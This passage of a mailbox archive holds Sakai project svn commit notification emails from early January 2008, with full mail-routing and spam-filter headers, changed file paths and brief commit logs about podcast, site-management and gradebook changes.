04 Jan 2008 04:49:08 -0500 +Received: from galaxyquest.mr.itd.umich.edu (galaxyquest.mr.itd.umich.edu [141.211.93.145]) + by score.mail.umich.edu () with ESMTP id m049n60G017588; + Fri, 4 Jan 2008 04:49:06 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY galaxyquest.mr.itd.umich.edu ID 477E010C.48C2.10259 ; + 4 Jan 2008 04:49:03 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 254CC8CDEE; + Fri, 4 Jan 2008 09:48:55 +0000 (GMT) +Message-ID: <200801040947.m049lUxo006517@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 246 + for ; + Fri, 4 Jan 2008 09:48:36 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 8C13342C92 + for ; Fri, 4 Jan 2008 09:48:40 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m049lU3P006519 + for ; Fri, 4 Jan 2008 04:47:30 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m049lUxo006517 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 04:47:30 -0500 +Date: Fri, 4 Jan 2008 04:47:30 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to david.horwitz@uct.ac.za using -f +To: source@collab.sakaiproject.org +From: david.horwitz@uct.ac.za +Subject: [sakai] svn commit: r39752 - in podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp: css podcasts +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 04:49:08 2008 +X-DSPAM-Confidence: 0.6528 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39752 + +Author: david.horwitz@uct.ac.za +Date: 2008-01-04 04:47:16 -0500 (Fri, 04 Jan 2008) +New Revision: 39752 + +Modified: +podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp/css/podcaster.css +podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp/podcasts/podMain.jsp +Log: +svn log -r39641 https://source.sakaiproject.org/svn/podcasts/trunk +------------------------------------------------------------------------ +r39641 | josrodri@iupui.edu | 2007-12-28 23:44:24 +0200 (Fri, 28 Dec 2007) | 1 line + +SAK-9882: refactored podMain.jsp the right way (at least much closer to) +------------------------------------------------------------------------ + +dhorwitz@david-horwitz-6:~/branchManagemnt/sakai_2-5-x> svn merge -c39641 https://source.sakaiproject.org/svn/podcasts/trunk podcasts/ +C podcasts/podcasts-app/src/webapp/podcasts/podMain.jsp +U podcasts/podcasts-app/src/webapp/css/podcaster.css + +conflict merged manualy + + + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From david.horwitz@uct.ac.za Fri Jan 4 04:33:44 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.46]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 04:33:44 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 04:33:44 -0500 +Received: from workinggirl.mr.itd.umich.edu (workinggirl.mr.itd.umich.edu [141.211.93.143]) + by fan.mail.umich.edu () with ESMTP id m049Xge3031803; + Fri, 4 Jan 2008 04:33:42 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY workinggirl.mr.itd.umich.edu ID 477DFD6C.75DBE.26054 ; + 4 Jan 2008 04:33:35 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 6C929BA656; + Fri, 4 Jan 2008 09:33:27 +0000 (GMT) +Message-ID: <200801040932.m049W2i5006493@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 153 + for ; + Fri, 4 Jan 2008 09:33:10 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 6C69423767 + for ; Fri, 4 Jan 2008 09:33:13 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m049W3fl006495 + for ; Fri, 4 Jan 2008 04:32:03 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m049W2i5006493 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 04:32:02 -0500 +Date: Fri, 4 Jan 2008 04:32:02 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to david.horwitz@uct.ac.za using -f +To: source@collab.sakaiproject.org +From: david.horwitz@uct.ac.za +Subject: [sakai] svn commit: r39751 - in podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp: css images podcasts +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 04:33:44 2008 +X-DSPAM-Confidence: 0.7002 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39751 + +Author: david.horwitz@uct.ac.za +Date: 2008-01-04 04:31:35 -0500 (Fri, 04 Jan 2008) +New Revision: 39751 + +Removed: +podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp/images/rss-feed-icon.png +podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp/podcasts/podPermissions.jsp +Modified: +podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp/css/podcaster.css +podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp/podcasts/podDelete.jsp +podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp/podcasts/podMain.jsp +podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp/podcasts/podNoResource.jsp +podcasts/branches/sakai_2-5-x/podcasts-app/src/webapp/podcasts/podOptions.jsp +Log: +svn log -r39146 https://source.sakaiproject.org/svn/podcasts/trunk +------------------------------------------------------------------------ +r39146 | josrodri@iupui.edu | 2007-12-12 21:40:33 +0200 (Wed, 12 Dec 2007) | 1 line + +SAK-9882: refactored the other pages as well to take advantage of proper jsp components as well as validation cleanup. +------------------------------------------------------------------------ +dhorwitz@david-horwitz-6:~/branchManagemnt/sakai_2-5-x> svn merge -c39146 https://source.sakaiproject.org/svn/podcasts/trunk podcasts/ +D podcasts/podcasts-app/src/webapp/podcasts/podPermissions.jsp +U podcasts/podcasts-app/src/webapp/podcasts/podDelete.jsp +U podcasts/podcasts-app/src/webapp/podcasts/podMain.jsp +U podcasts/podcasts-app/src/webapp/podcasts/podNoResource.jsp +U podcasts/podcasts-app/src/webapp/podcasts/podOptions.jsp +D podcasts/podcasts-app/src/webapp/images/rss-feed-icon.png +U podcasts/podcasts-app/src/webapp/css/podcaster.css + + + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From stephen.marquard@uct.ac.za Fri Jan 4 04:07:34 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.25]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Fri, 04 Jan 2008 04:07:34 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Fri, 04 Jan 2008 04:07:34 -0500 +Received: from salemslot.mr.itd.umich.edu (salemslot.mr.itd.umich.edu [141.211.14.58]) + by panther.mail.umich.edu () with ESMTP id m0497WAN027902; + Fri, 4 Jan 2008 04:07:32 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY salemslot.mr.itd.umich.edu ID 477DF74E.49493.30415 ; + 4 Jan 2008 04:07:29 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 88598BA5B6; + Fri, 4 Jan 2008 09:07:19 +0000 (GMT) +Message-ID: <200801040905.m0495rWB006420@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 385 + for ; + Fri, 4 Jan 2008 09:07:04 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 90636418A8 + for ; Fri, 4 Jan 2008 09:07:04 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m0495sZs006422 + for ; Fri, 4 Jan 2008 04:05:54 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m0495rWB006420 + for source@collab.sakaiproject.org; Fri, 4 Jan 2008 04:05:53 -0500 +Date: Fri, 4 Jan 2008 04:05:53 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to stephen.marquard@uct.ac.za using -f +To: source@collab.sakaiproject.org +From: stephen.marquard@uct.ac.za +Subject: [sakai] svn commit: r39750 - event/branches/SAK-6216/event-util/util/src/java/org/sakaiproject/util +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Fri Jan 4 04:07:34 2008 +X-DSPAM-Confidence: 0.7554 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39750 + +Author: stephen.marquard@uct.ac.za +Date: 2008-01-04 04:05:43 -0500 (Fri, 04 Jan 2008) +New Revision: 39750 + +Modified: +event/branches/SAK-6216/event-util/util/src/java/org/sakaiproject/util/EmailNotification.java +Log: +SAK-6216 merge event change from SAK-11169 (r39033) to synchronize branch with 2-5-x (for convenience for UCT local build) + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From louis@media.berkeley.edu Thu Jan 3 19:51:21 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.91]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Thu, 03 Jan 2008 19:51:21 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Thu, 03 Jan 2008 19:51:21 -0500 +Received: from eyewitness.mr.itd.umich.edu (eyewitness.mr.itd.umich.edu [141.211.93.142]) + by jacknife.mail.umich.edu () with ESMTP id m040pJHB027171; + Thu, 3 Jan 2008 19:51:19 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY eyewitness.mr.itd.umich.edu ID 477D8300.AC098.32562 ; + 3 Jan 2008 19:51:15 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id E6CC4B9F8A; + Fri, 4 Jan 2008 00:36:06 +0000 (GMT) +Message-ID: <200801040023.m040NpCc005473@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 754 + for ; + Fri, 4 Jan 2008 00:35:43 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 8889842C49 + for ; Fri, 4 Jan 2008 00:25:00 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m040NpgM005475 + for ; Thu, 3 Jan 2008 19:23:51 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m040NpCc005473 + for source@collab.sakaiproject.org; Thu, 3 Jan 2008 19:23:51 -0500 +Date: Thu, 3 Jan 2008 19:23:51 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to louis@media.berkeley.edu using -f +To: source@collab.sakaiproject.org +From: louis@media.berkeley.edu +Subject: [sakai] svn commit: r39749 - in bspace/site-manage/sakai_2-4-x/site-manage-tool/tool/src: bundle webapp/vm/sitesetup +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Thu Jan 3 19:51:20 2008 +X-DSPAM-Confidence: 0.6956 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39749 + +Author: louis@media.berkeley.edu +Date: 2008-01-03 19:23:46 -0500 (Thu, 03 Jan 2008) +New Revision: 39749 + +Modified: +bspace/site-manage/sakai_2-4-x/site-manage-tool/tool/src/bundle/sitesetupgeneric.properties +bspace/site-manage/sakai_2-4-x/site-manage-tool/tool/src/webapp/vm/sitesetup/chef_site-importSites.vm +Log: +BSP-1420 Update text to clarify "Re-Use Materials..." option in WS Setup + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From louis@media.berkeley.edu Thu Jan 3 17:18:23 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.91]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Thu, 03 Jan 2008 17:18:23 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Thu, 03 Jan 2008 17:18:23 -0500 +Received: from salemslot.mr.itd.umich.edu (salemslot.mr.itd.umich.edu [141.211.14.58]) + by jacknife.mail.umich.edu () with ESMTP id m03MIMXY027729; + Thu, 3 Jan 2008 17:18:22 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY salemslot.mr.itd.umich.edu ID 477D5F23.797F6.16348 ; + 3 Jan 2008 17:18:14 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id EF439B98CE; + Thu, 3 Jan 2008 22:18:19 +0000 (GMT) +Message-ID: <200801032216.m03MGhDa005292@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 236 + for ; + Thu, 3 Jan 2008 22:18:04 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 905D53C2FD + for ; Thu, 3 Jan 2008 22:17:52 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m03MGhrs005294 + for ; Thu, 3 Jan 2008 17:16:43 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m03MGhDa005292 + for source@collab.sakaiproject.org; Thu, 3 Jan 2008 17:16:43 -0500 +Date: Thu, 3 Jan 2008 17:16:43 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to louis@media.berkeley.edu using -f +To: source@collab.sakaiproject.org +From: louis@media.berkeley.edu +Subject: [sakai] svn commit: r39746 - in bspace/site-manage/sakai_2-4-x/site-manage-tool/tool/src: bundle webapp/vm/sitesetup +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Thu Jan 3 17:18:23 2008 +X-DSPAM-Confidence: 0.6959 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39746 + +Author: louis@media.berkeley.edu +Date: 2008-01-03 17:16:39 -0500 (Thu, 03 Jan 2008) +New Revision: 39746 + +Modified: +bspace/site-manage/sakai_2-4-x/site-manage-tool/tool/src/bundle/sitesetupgeneric.properties +bspace/site-manage/sakai_2-4-x/site-manage-tool/tool/src/webapp/vm/sitesetup/chef_site-siteInfo-duplicate.vm +Log: +BSP-1421 Add text to clarify "Duplicate Site" option in Site Info + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From ray@media.berkeley.edu Thu Jan 3 17:07:00 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.39]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Thu, 03 Jan 2008 17:07:00 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Thu, 03 Jan 2008 17:07:00 -0500 +Received: from anniehall.mr.itd.umich.edu (anniehall.mr.itd.umich.edu [141.211.93.141]) + by faithful.mail.umich.edu () with ESMTP id m03M6xaq014868; + Thu, 3 Jan 2008 17:06:59 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY anniehall.mr.itd.umich.edu ID 477D5C7A.4FE1F.22211 ; + 3 Jan 2008 17:06:53 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 0BC8D7225E; + Thu, 3 Jan 2008 22:06:57 +0000 (GMT) +Message-ID: <200801032205.m03M5Ea7005273@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 554 + for ; + Thu, 3 Jan 2008 22:06:34 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 2AB513C2FD + for ; Thu, 3 Jan 2008 22:06:23 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m03M5EQa005275 + for ; Thu, 3 Jan 2008 17:05:14 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m03M5Ea7005273 + for source@collab.sakaiproject.org; Thu, 3 Jan 2008 17:05:14 -0500 +Date: Thu, 3 Jan 2008 17:05:14 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to ray@media.berkeley.edu using -f +To: source@collab.sakaiproject.org +From: ray@media.berkeley.edu +Subject: [sakai] svn commit: r39745 - providers/trunk/cm/cm-authz-provider/src/java/org/sakaiproject/coursemanagement/impl/provider +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Thu Jan 3 17:07:00 2008 +X-DSPAM-Confidence: 0.7556 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39745 + +Author: ray@media.berkeley.edu +Date: 2008-01-03 17:05:11 -0500 (Thu, 03 Jan 2008) +New Revision: 39745 + +Modified: +providers/trunk/cm/cm-authz-provider/src/java/org/sakaiproject/coursemanagement/impl/provider/CourseManagementGroupProvider.java +Log: +SAK-12602 Fix logic when a user has multiple roles in a section + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From cwen@iupui.edu Thu Jan 3 16:34:40 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.34]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Thu, 03 Jan 2008 16:34:40 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Thu, 03 Jan 2008 16:34:40 -0500 +Received: from icestorm.mr.itd.umich.edu (icestorm.mr.itd.umich.edu [141.211.93.149]) + by chaos.mail.umich.edu () with ESMTP id m03LYdY1029538; + Thu, 3 Jan 2008 16:34:39 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY icestorm.mr.itd.umich.edu ID 477D54EA.13F34.26602 ; + 3 Jan 2008 16:34:36 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id CC710ADC79; + Thu, 3 Jan 2008 21:34:29 +0000 (GMT) +Message-ID: <200801032133.m03LX3gG005191@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 611 + for ; + Thu, 3 Jan 2008 21:34:08 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 43C4242B55 + for ; Thu, 3 Jan 2008 21:34:12 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m03LX3Vb005193 + for ; Thu, 3 Jan 2008 16:33:03 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m03LX3gG005191 + for source@collab.sakaiproject.org; Thu, 3 Jan 2008 16:33:03 -0500 +Date: Thu, 3 Jan 2008 16:33:03 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to cwen@iupui.edu using -f +To: source@collab.sakaiproject.org +From: cwen@iupui.edu +Subject: [sakai] svn commit: r39744 - oncourse/branches/oncourse_OPC_122007 +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Thu Jan 3 16:34:40 2008 +X-DSPAM-Confidence: 0.9846 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39744 + +Author: cwen@iupui.edu +Date: 2008-01-03 16:33:02 -0500 (Thu, 03 Jan 2008) +New Revision: 39744 + +Modified: +oncourse/branches/oncourse_OPC_122007/ +oncourse/branches/oncourse_OPC_122007/.externals +Log: +update external for GB. + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From cwen@iupui.edu Thu Jan 3 16:29:07 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.46]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Thu, 03 Jan 2008 16:29:07 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Thu, 03 Jan 2008 16:29:07 -0500 +Received: from galaxyquest.mr.itd.umich.edu (galaxyquest.mr.itd.umich.edu [141.211.93.145]) + by fan.mail.umich.edu () with ESMTP id m03LT6uw027749; + Thu, 3 Jan 2008 16:29:06 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY galaxyquest.mr.itd.umich.edu ID 477D5397.E161D.20326 ; + 3 Jan 2008 16:28:58 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id DEC65ADC79; + Thu, 3 Jan 2008 21:28:52 +0000 (GMT) +Message-ID: <200801032127.m03LRUqH005177@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 917 + for ; + Thu, 3 Jan 2008 21:28:39 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 1FBB042B30 + for ; Thu, 3 Jan 2008 21:28:38 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (localhost [127.0.0.1]) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11) with ESMTP id m03LRUk4005179 + for ; Thu, 3 Jan 2008 16:27:30 -0500 +Received: (from apache@localhost) + by nakamura.uits.iupui.edu (8.12.11.20060308/8.12.11/Submit) id m03LRUqH005177 + for source@collab.sakaiproject.org; Thu, 3 Jan 2008 16:27:30 -0500 +Date: Thu, 3 Jan 2008 16:27:30 -0500 +X-Authentication-Warning: nakamura.uits.iupui.edu: apache set sender to cwen@iupui.edu using -f +To: source@collab.sakaiproject.org +From: cwen@iupui.edu +Subject: [sakai] svn commit: r39743 - gradebook/branches/oncourse_2-4-2/app/ui/src/java/org/sakaiproject/tool/gradebook/ui +X-Content-Type-Outer-Envelope: text/plain; charset=UTF-8 +X-Content-Type-Message-Body: text/plain; charset=UTF-8 +Content-Type: text/plain; charset=UTF-8 +X-DSPAM-Result: Innocent +X-DSPAM-Processed: Thu Jan 3 16:29:07 2008 +X-DSPAM-Confidence: 0.8509 +X-DSPAM-Probability: 0.0000 + +Details: http://source.sakaiproject.org/viewsvn/?view=rev&rev=39743 + +Author: cwen@iupui.edu +Date: 2008-01-03 16:27:29 -0500 (Thu, 03 Jan 2008) +New Revision: 39743 + +Modified: +gradebook/branches/oncourse_2-4-2/app/ui/src/java/org/sakaiproject/tool/gradebook/ui/RosterBean.java +Log: +svn merge -c 39403 https://source.sakaiproject.org/svn/gradebook/trunk +U app/ui/src/java/org/sakaiproject/tool/gradebook/ui/RosterBean.java + +svn log -r 39403 https://source.sakaiproject.org/svn/gradebook/trunk +------------------------------------------------------------------------ +r39403 | wagnermr@iupui.edu | 2007-12-17 17:11:08 -0500 (Mon, 17 Dec 2007) | 3 lines + +SAK-12504 +http://jira.sakaiproject.org/jira/browse/SAK-12504 +Viewing "All Grades" page as a TA with grader permissions causes stack trace +------------------------------------------------------------------------ + + +---------------------- +This automatic notification message was sent by Sakai Collab (https://collab.sakaiproject.org/portal) from the Source site. +You can modify how you receive notifications at My Workspace > Preferences. + + + +From cwen@iupui.edu Thu Jan 3 16:23:48 2008 +Return-Path: +Received: from murder (mail.umich.edu [141.211.14.91]) + by frankenstein.mail.umich.edu (Cyrus v2.3.8) with LMTPA; + Thu, 03 Jan 2008 16:23:48 -0500 +X-Sieve: CMU Sieve 2.3 +Received: from murder ([unix socket]) + by mail.umich.edu (Cyrus v2.2.12) with LMTPA; + Thu, 03 Jan 2008 16:23:48 -0500 +Received: from salemslot.mr.itd.umich.edu (salemslot.mr.itd.umich.edu [141.211.14.58]) + by jacknife.mail.umich.edu () with ESMTP id m03LNlf0002115; + Thu, 3 Jan 2008 16:23:47 -0500 +Received: FROM paploo.uhi.ac.uk (app1.prod.collab.uhi.ac.uk [194.35.219.184]) + BY salemslot.mr.itd.umich.edu ID 477D525E.1448.30389 ; + 3 Jan 2008 16:23:44 -0500 +Received: from paploo.uhi.ac.uk (localhost [127.0.0.1]) + by paploo.uhi.ac.uk (Postfix) with ESMTP id 9D005B9D06; + Thu, 3 Jan 2008 21:23:38 +0000 (GMT) +Message-ID: <200801032122.m03LMFo4005148@nakamura.uits.iupui.edu> +Mime-Version: 1.0 +Content-Transfer-Encoding: 7bit +Received: from prod.collab.uhi.ac.uk ([194.35.219.182]) + by paploo.uhi.ac.uk (JAMES SMTP Server 2.1.3) with SMTP ID 6 + for ; + Thu, 3 Jan 2008 21:23:24 +0000 (GMT) +Received: from nakamura.uits.iupui.edu (nakamura.uits.iupui.edu [134.68.220.122]) + by shmi.uhi.ac.uk (Postfix) with ESMTP id 3535542B69 + for ; Thu, 3 Jan 2008 